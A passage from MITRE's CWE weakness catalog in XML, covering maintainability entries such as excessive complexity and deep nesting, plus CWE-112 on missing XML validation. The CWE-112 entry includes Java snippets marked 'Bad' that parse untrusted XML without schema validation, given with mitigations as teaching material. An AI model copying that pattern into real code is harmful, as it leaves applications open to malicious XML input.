					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Contribution Type="Content">
               <Contribution_Name>Drew Buttner</Contribution_Name>
               <Contribution_Date>2022-08-15</Contribution_Date>
               <Contribution_Comment>Suggested new demonstrative examples, mitigations, and applicable platforms.</Contribution_Comment>
            </Contribution>
         </Content_History>
      </Weakness>
      <Weakness ID="1117" Name="Callable with Insufficient Behavioral Summary" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The code contains a function or method whose signature and/or associated
					inline documentation does not sufficiently describe the callable's inputs, outputs,
					side effects, assumptions, or return codes.</Description>
         <Extended_Description><xhtml:p>This issue makes it more difficult to maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities.  It also might make it easier to introduce vulnerabilities.</xhtml:p></Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1078" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Reduce Maintainability</Impact>
            </Consequence>
         </Common_Consequences>
         <References>
            <Reference External_Reference_ID="REF-963"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-07-02</Submission_Date>
               <Submission_Comment>Entry derived from Common Quality Enumeration (CQE) Draft 0.9.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1118" Name="Insufficient Documentation of Error Handling Techniques" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The documentation does not sufficiently describe the techniques
					that are used for error handling, exception processing, or similar
					mechanisms.</Description>
         <Extended_Description><xhtml:p>Documentation may need to cover error handling techniques at multiple layers, such as module, executable, compilable code unit, or callable.</xhtml:p></Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1059" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <References>
            <Reference External_Reference_ID="REF-963"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-07-02</Submission_Date>
               <Submission_Comment>Entry derived from Common Quality Enumeration (CQE) Draft 0.9.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1119" Name="Excessive Use of Unconditional Branching" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The code uses too many unconditional branches (such as
					"goto").</Description>
         <Extended_Description><xhtml:p>This issue makes it more difficult to understand and/or maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities.  It also might make it easier to introduce vulnerabilities.</xhtml:p></Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1120" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Reduce Maintainability</Impact>
            </Consequence>
         </Common_Consequences>
         <References>
            <Reference External_Reference_ID="REF-963"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-07-02</Submission_Date>
               <Submission_Comment>Entry derived from Common Quality Enumeration (CQE) Draft 0.9.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="112" Name="Missing XML Validation" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product accepts XML from an untrusted source but does not validate the XML against the proper schema.</Description>
         <Extended_Description>Most successful attacks begin with a violation of the programmer's assumptions. By accepting an XML document without validating it against a DTD or XML schema, the programmer leaves a door open for attackers to provide unexpected, unreasonable, or malicious input.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1286" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="20" View_ID="700" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Unexpected State</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>
                  <xhtml:p>Always validate XML input against a known XML Schema or DTD.</xhtml:p>
                  <xhtml:p>It is not possible for an XML parser to validate all aspects of a document's content because a parser cannot understand the complete semantics of the data. However, a parser can do a complete and thorough job of checking the document's structure and therefore guarantee to the code that processes the document that the content is well-formed.</xhtml:p>
               </Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following code loads and parses an XML file.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>
                     <xhtml:br/>
                     <xhtml:i>// Read DOM</xhtml:i>
                     <xhtml:br/>try {<xhtml:div style="margin-left:1em;">...<xhtml:br/>DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();<xhtml:br/>factory.setValidating( false );<xhtml:br/>....<xhtml:br/>c_dom = factory.newDocumentBuilder().parse( xmlFile );</xhtml:div>} catch(Exception ex) {<xhtml:div style="margin-left:1em;">...</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>The XML file is loaded without validating it against a known XML Schema or DTD.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>The following code creates a DocumentBuilder object to be used in building an XML document.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>DocumentBuilderFactory builderFactory = DocumentBuilderFactory.newInstance();<xhtml:br/>builderFactory.setNamespaceAware(true);<xhtml:br/>DocumentBuilder builder = builderFactory.newDocumentBuilder();</xhtml:div>
               </Example_Code>
               <Body_Text>The DocumentBuilder object does not validate an XML document against a schema, making it possible to create an invalid XML document.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="7 Pernicious Kingdoms">
               <Entry_Name>Missing XML Validation</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP24</Entry_ID>
               <Entry_Name>Tainted input to command</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="230"/>
            <Related_Attack_Pattern CAPEC_ID="231"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-6"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>7 Pernicious Kingdoms</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Sean Eidemiller</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>added/updated demonstrative examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Demonstrative_Example, Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-02-21</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-02-18</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Other_Notes, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Causal_Nature, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References, Related_Attack_Patterns, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1120" Name="Excessive Code Complexity" Abstraction="Class" Structure="Simple" Status="Incomplete">
         <Description>The code is too complex, as calculated using a well-defined,
					quantitative measure.</Description>
         <Extended_Description><xhtml:p>This issue makes it more difficult to understand and/or maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities.  It also might make it easier to introduce vulnerabilities.</xhtml:p>
<xhtml:p>This issue can make the product perform more slowly.  If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.</xhtml:p></Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="710" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Reduce Maintainability</Impact>
            </Consequence>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Reduce Performance</Impact>
            </Consequence>
         </Common_Consequences>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-07-02</Submission_Date>
               <Submission_Comment>Entry derived from Common Quality Enumeration (CQE) Draft 0.9.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1121" Name="Excessive McCabe Cyclomatic Complexity" Abstraction="Base" Structure="Simple" Status="Incomplete">
        <Description>The code contains McCabe cyclomatic complexity that exceeds a
	desirable maximum.</Description>
	<Extended_Description><xhtml:p>This issue makes it more difficult to understand and/or maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities.  It also might make it easier to introduce vulnerabilities.</xhtml:p></Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1120" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="OMG ASCMM">
               <Entry_ID>ASCMM-MNT-11</Entry_ID>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-963"/>
            <Reference External_Reference_ID="REF-964"/>
            <Reference External_Reference_ID="REF-960" Section="ASCMM-MNT-11"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-07-02</Submission_Date>
               <Submission_Comment>Entry derived from Common Quality Enumeration (CQE) Draft 0.9.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1122" Name="Excessive Halstead Complexity" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The code is structured in a way that a Halstead complexity
					measure exceeds a desirable maximum.</Description>
         <Extended_Description><xhtml:p>A variety of Halstead complexity measures exist, such as program vocabulary size or volume.</xhtml:p>
<xhtml:p>This issue makes it more difficult to understand and/or maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities.  It also might make it easier to introduce vulnerabilities.</xhtml:p></Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1120" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Reduce Maintainability</Impact>
            </Consequence>
         </Common_Consequences>
         <References>
            <Reference External_Reference_ID="REF-963"/>
            <Reference External_Reference_ID="REF-965"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-07-02</Submission_Date>
               <Submission_Comment>Entry derived from Common Quality Enumeration (CQE) Draft 0.9.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1123" Name="Excessive Use of Self-Modifying Code" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product uses too much self-modifying
					code.</Description>
         <Extended_Description><xhtml:p>This issue makes it more difficult to understand or maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities.  It also might make it easier to introduce vulnerabilities.</xhtml:p></Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1120" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Reduce Maintainability</Impact>
            </Consequence>
         </Common_Consequences>
         <References>
            <Reference External_Reference_ID="REF-963"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-07-02</Submission_Date>
               <Submission_Comment>Entry derived from Common Quality Enumeration (CQE) Draft 0.9.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1124" Name="Excessively Deep Nesting" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The code contains a callable or other code grouping in which
					the nesting / branching is too deep.</Description>
         <Extended_Description><xhtml:p>This issue makes it more difficult to maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities.  It also might make it easier to introduce vulnerabilities.</xhtml:p></Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1120" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Reduce Maintainability</Impact>
            </Consequence>
         </Common_Consequences>
         <References>
            <Reference External_Reference_ID="REF-963"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-07-02</Submission_Date>
               <Submission_Comment>Entry derived from Common Quality Enumeration (CQE) Draft 0.9.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1125" Name="Excessive Attack Surface" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product has an attack surface whose quantitative
					measurement exceeds a desirable maximum.</Description>
         <Extended_Description><xhtml:p>Originating from software security, an "attack surface" measure typically reflects the number of input points and output points that can be utilized by an untrusted party, i.e. a potential attacker. A larger attack surface provides more places to attack, and more opportunities for developers to introduce weaknesses.  In some cases, this measure may reflect other aspects of quality besides security; e.g., a product with many inputs and outputs may require a large number of tests in order to improve code coverage.</xhtml:p></Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1120" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <References>
            <Reference External_Reference_ID="REF-966"/>
            <Reference External_Reference_ID="REF-967"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-07-02</Submission_Date>
               <Submission_Comment>Entry derived from Common Quality Enumeration (CQE) Draft 0.9.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1126" Name="Declaration of Variable with Unnecessarily Wide Scope" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The source code declares a variable in one scope, but the
					variable is only used within a narrower scope.</Description>
         <Extended_Description><xhtml:p>This issue makes it more difficult to understand and/or maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities.  It also might make it easier to introduce vulnerabilities.</xhtml:p></Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="710" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Reduce Maintainability</Impact>
            </Consequence>
         </Common_Consequences>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-07-02</Submission_Date>
               <Submission_Comment>Entry derived from Common Quality Enumeration (CQE) Draft 0.9.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1127" Name="Compilation with Insufficient Warnings or Errors" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The code is compiled without sufficient warnings enabled, which
					may prevent the detection of subtle bugs or quality
					issues.</Description>
         <Extended_Description><xhtml:p>This issue makes it more difficult to maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities.  It also might make it easier to introduce vulnerabilities.</xhtml:p></Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="710" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Build and Compilation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Reduce Maintainability</Impact>
            </Consequence>
         </Common_Consequences>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-07-02</Submission_Date>
               <Submission_Comment>Entry derived from Common Quality Enumeration (CQE) Draft 0.9.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
